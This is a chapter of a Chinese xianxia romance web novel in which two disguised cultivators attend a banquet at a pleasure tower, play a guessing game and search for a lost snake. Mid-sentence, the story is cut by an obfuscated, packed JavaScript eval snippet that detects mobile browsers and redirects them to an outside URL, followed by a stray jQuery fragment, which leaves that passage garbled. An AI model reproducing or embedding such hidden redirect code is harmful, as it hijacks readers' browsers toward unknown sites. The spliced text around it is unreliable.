11. 群芳宴

作品:《师伯你像我家狗

    兰台路上俱是往来行人。三三两两着鲜艳衣裳,令人看了便觉有喜事。


    扰了建康近半个月的疫忽得止住了。被关在北街之人一批批倒下去,当天就烧了个干净。余灰洒进土里可作肥用,街坊邻居都争着去抢。


    鲜卑使者已入京安置,只待今日群芳宴。这样盛大的场面总是招人喜欢的,哪怕是家中贫苦,也要分出几枚铜板买新衣裳穿。


    街上欢声笑语不断。


    各式的香萦在人与人间,观南同一人擦身而过,望见那男子耳上一双晃悠悠的翡翠环。


    这样瞧来她这一身也不甚奇特了。如此想着,她将臂间桃红披帛往上提了提,腰间禁步叮铃铃一响,低头一看,原是小白从袖中探出头来。


    守玉瞥见那翡色蛇头:“娘子还将它带着?”


    观南将它按回去,“小白鼻子灵,兴许能派上用场。”


    ……鼻子灵,听着更像狗了。


    他无言以对,步过街拐角,宝香楼便耸立在眼前。九层宫红雕栏,窗内仙云堕影。过往花间客红襟惹香,袖浮金云翠尾。


    门前立了二位,佩剑皆束在身侧。


    守玉忽得忆起事来,俯去她耳边:“娘子,你拿斩仙剑了么?”


    观南无声颔首。


    如今两人面上都覆了术法,着眼望来不过一对寻常年轻官家夫妻,正凑首说悄悄话。


    他放下心来,将金叶子递过去。


    那二位扫眼过来,“原是谢允谢大人,身旁这位娘子却不曾听过。”


    观南挽上他胳膊,亦将声线掐软:“我是他未婚妻子,不日便要成婚的,也想来一同见识见识群芳宴。”


    她又往他身边站近,肩膀几乎相贴。


    守玉僵了半刻,也笑起来:“是。”


    原是未婚夫妻,瞧着确实亲近。那二人便不多说,将金叶子递过去:“劳大人大驾,鲜卑使者今夜子时方至,大人可先携娘子在一二楼玩赏。”


    便是还有半日时间。守玉接了金叶子,往楼内去。


    眼前光景煞是动人,打眼望去,抱瑟奏乐的,起舞弄影的,打酒划拳的,热闹凑了满座。千万盏莲花小灯悬在头上,照得亮堂如日。


    观南挽着他,从满堂脂粉味中,又闻见那股莫名香气。


    楼中人多眼杂,也不便寻人行踪,正要拉守玉袖子,忽听得有人道:“啊哟,这不是谢允谢大人么?”


    两人一同望去。


    眼前来人身着绯红官袍,肥头大耳红光满面。观南尚在愣怔,守玉已带她迎上去,笑道:“真是许久未见了。”


    “是啊!自你建康一别,大抵已四年了。”那人捋着胡子眯眼,往他身边观南看来,“近来听闻你小妹染了病,你怎地还有空来此?”


    “小妹已病愈了。”守玉笑道:“此乃我未婚妻子,我已同她府上下了聘礼。她从未来过京中,恰逢群芳宴,我便陪她来看看。”


    他牵住观南指尖,替她引荐:“这是我昔日太学同窗,你唤他兄长便是。”


    他在她手心写字。观南便乖巧道:“杨兄长,我听他提起过你,真是巧。”


    “原来是弟媳。”姓杨这人大抵没什么心眼,得了她一句兄长便仰首大笑起来。“弟媳当真是美人,说话也好听。”


    “自你自请辞京去做乡官后,我在这建康城也索然无味得很了。”他呵呵笑道:“正巧今日弟媳也在,来几局射覆如何?看你还有没有往日太学的风采。”


    这就是无法推拒之意了。守玉牵住观南,忽觉她牢牢拉住他,他一时动弹不得,便回头。


    她眼中略微流露出些不赞同来:如此一来,耽误了事该如何?


    守玉反握住她,微微摇头,往她手心写下几个字。


    伺机而动。


    好罢。总得还有半日光景。观南心中叹气,松了手,守玉顺势将她拉至身前来。


    姓杨那人瞥见两人牢牢牵住的手,呵呵笑道:“看你二人感情甚笃啊。以往我总觉得你跟个木头一样不开窍,如今也是抱得美人归了。”


    观南听了这话无甚波动,却又忽得忆起她如今是扮作别人,便以袖遮脸作羞涩状。


    脸上两朵红云,实则是被香熏得。


    二人到了桌前坐下。


    这位杨大人大抵是朝中重臣,身旁点了乐师奏琴,又一位女郎见了她便笑吟吟地来拉她的手,“是弟媳么?难怪我一见你就心生欢喜。”


    原来是杨夫人。观南便也勾了唇笑着应她。余光里已有人拿了碗来放在守玉眼前,他用着谢允的脸,却仍是笑着的模样。


    射覆以六爻推算,想来他是信手拈来。


    正打量四周,身旁杨夫人忽得凑近她:“娘子,不瞒你说,我颇有些好奇了——谢大人别名冰山一座,你二人是怎地相熟的?”


    这问题来得猝不及防。


    观南定了定神,忆起她同守玉议好的说辞,含笑回她:“谢大人看着冷冰冰的,实则是热心肠的人。是他昔日帮助我一二,我才与他相熟的。”


    “哦——”杨夫人眼中闪烁出莫名光芒,“原来是娘子先行的么?我看娘子性情含蓄,还以为是木头开窍了……”


    “也不是。”观南扯了帕子捂脸,胸中暗自运内力逼开脸上红晕,瞧着愈发羞怯了。


    “是谢大人先寻的我。那日我遭人逼婚,正举足无措,便被他寻上来……”


    “原来如此!”真是好一出英雄救美,郎有情妾有意的故事,听着还怪诗情画意的。


    “接着呢?”


    接着?观南绞尽脑汁,脑中尽力搜刮词句,“他握着我的手同我念了一首《上邪》,道他对我之心便如此文,许我一生一世一双人……”


    看不出谢允还有这样的柔情!杨夫人听至了兴头上,热切拉住她的手,“娘子,我同你直说罢,找男人便需得使他来寻你,若是他连告知你心意都不敢,还要他何用!”


    “——谢大人看来很是欢喜你,连这样酸倒牙的话都同你说了。”


    观南莫名起了鸡皮疙瘩,只得默默将脸捂住。杨夫人浑然不觉,又一路刨根问底,从初遇追问到下聘时情形,眼中光彩纷纷。


    观南被她拉着手,又被浓香熏着,心中颇觉煎熬。仿佛又回到了落伽山上被师尊抽背佛经的日子,且更令她心有余而力不足。


    她不免连连往守玉看去。他成了没有?独留她在这演夫妻情深的戏码。


    那头守玉方才睁眼,将答案说出。杨大人不免哎一声,“这都第六个了,你猜得未免太准了!”


    守玉亦是笑:“杨兄看我,还有往日太学风采么?”


    “同你比甚无意思了。”杨大人哼哼几声,望向观南,“不若弟媳来试一试。”


    她?守玉一时犹豫:“她恐怕不会这个……”


    观南却猛地直起身:“我来。”


    她快步过来,将地上的茫然的守玉拉起:“你去那边坐着。”正要撸袖子,忽得想起她如今扮的是温婉美人,只得硬生生半道改成以帕捂唇:“咳……都猜些什么?”


    守玉被她扯得一个踉跄,方才将将站住,“娘子,你会么?”


    “怎么不会?”不就是猜东西么。


    守玉欲言又止。杨大人亦在一旁煽风点火:“弟媳自然是聪慧的,便让她试一试嘛!试一试!”


    观南笃定道:“来。”


    好罢。他只得站至她身后。观南在他座上坐下,面前被放上碗。


    杨大人大抵是觉得弟媳看着是新手,自己亦乐呵呵闭了眼,仿佛胜券在握。


    守玉暗自掐指去算,原来碗下是幅女子头面。去看观南,她仍闭着眼思索。


    他心中不知为何一动。


    帮一帮她么?


    便要去碰她指尖。观南却忽得睁眼:“原来是幅金银头面。”


    他一时愣住,见她平静模样,忽得回过神来:将神息探出去亦可得知。


    竟是他关心则乱了。


    杨大人亦起身,将碗揭开一看,果不其然是幅金包银边镶翡翠头面。一旁楼中小厮上前笑道:“此乃我宝香楼顶尖的乐师之物,可凭此面见姝颜,恭贺娘子了。”


    观南自席上起来,俯身去看那幅头面,可谓熠熠生辉。


    她总觉得此物瞧着眼熟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107287|163938||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,仔细一想,不正是那日兰台路上的乐女所购么?


    她不仅没死,如今还当了乐师首席?


    便微微蹙眉,回首去拽守玉衣角。守玉正愣神,被她拽住袖子,下意识垂首看她。


    观南低声道:“你还记得那日北街末的男子么?据他所说,他阿姐应已经死了才对。可这头面便是他阿姐的,我绝不会认错。”


    守玉回神,也去看那幅头面,复又瞧她:“娘子,你没瞧错么?”


    观南摇头:“这头面那铺子只有一个,旁的店更不会有。”


    这倒是稀奇了。守玉将那头面打量片刻,摩挲其上细细刮痕,忽得笑了:“是得去见见她。”


    观南亦正有此意。还余下半日,再找赤焰花也不迟……且她总觉着这乐师同蛊毒一事有关。


    便去摸袖中,忽得顿住了,“小白?”


    袖中不知何时已空空荡荡。


    杨大人不知他夫妻二人窝在一块嘀嘀咕咕什么,也凑过来:“甚么小白小黑的?”


    “小白是我乳名。”守玉攥住她指尖,在她掌心飞快写下:莫慌,再找找。


    “你不是字怀竹么?原来还有这么个小狗似的乳名。”杨大人恍然大悟,目光暧昧地望他二人一眼。“原来你与我弟媳平日里都这般相处,真是枯木逢春,铁树开花……”


    什么有的没的。观南抿唇,放出神识将整个宝香楼裹住。几百人魂魄混在一起,一时难辨,竟还有几个……白日宣淫。


    她眉心突突跳几下,一圈下来竟是毫无所获。


    杨大人见他二人似有话要谈,摇头笑笑坐去夫人身边了。守玉等她又寻了一圈,只见她茫然睁眼:“寻不到。”


    “宝香楼人多眼杂。”他摇头,“娘子不必太过心急,龙王随侍不同寻常妖类,不缺自保之力。”


    这倒也是。且要在这耸天楼宇中寻至一只细长虫,也不是件容易事。


    眼下还是先去见那乐师才要紧。


    观南稍稍放了心,又听见那头杨大人唤他。回至席上坐下,这次只敢同守玉坐在一侧。


    唤人上了酒来,四人各斟一杯。观南端起杯盏一闻,心中微微惶恐:这酒她是不敢沾一点了。


    杨夫人殷切道:“这是江南才有的清酒,名叫梨花醉,是宫中传出来的方子。不知弟媳尝过没有?”


    守玉已仰头一饮而尽,见她踌躇模样,也笑着望来。


    她凑近,低声问他:“你尝着这酒烈不烈?”


    守玉垂首,含笑看她:“娘子问我?我自然是觉着不烈的。你看我可有不适?”


    她闻言仔细打量他。这人如今用着谢允的容貌,只眼尾泄出一道昳丽海棠红,面上倒是不显。


    她凑得近,似乎已闻见梨花香气自他唇边来,一时也举杯不定:“你……没醉罢?”


    要是醉了还灌他酒,她罪过可就大了。


    “没有。”


    她不信:“当真?”


    守玉又笑,胸腔都微震起来。他将那杯酒自她手中拿过,仰头尽数喝了,放回她手中才道:“当真。”


    观南狐疑望他一眼,又见对面夫妻二人揶揄目光,只得凑近他:“你若是真醉了,莫要硬撑,兴许谢允也喝不得酒呢。”


    守玉心下好笑,有意要逗她:“万一他就是能喝呢。”


    观南微微肃容:“纵酒过欲是为耽乐……”


    他垂眸扯唇:“我已经许久未曾喝酒了。”上一次喝,似乎还是千年前去了师尊洞府内偷了一壶,醉得难分天地,醒来不知岁月几何。


    想来他已许久未尝过酒的滋味,分不清苦辣酸甜了。


    如今却是怎么也不会醉了。


    女子眉眼近在眼前,他看得清清楚楚,于是伸手,将她鬓边碎发撩回去。“多谢娘子好心,我属实是不会醉的。”


    观南一愣,便听杨夫人笑道:“娘子这是担忧你呢,你二人感情如此,我倒当真羡艳。”


    “她确实心善。”守玉又斟了一杯,席中古琴铮铮一声,灯火阑珊间,他忽得含笑向她望来,声音只她一人听见:


    “娘子,你口脂花了。”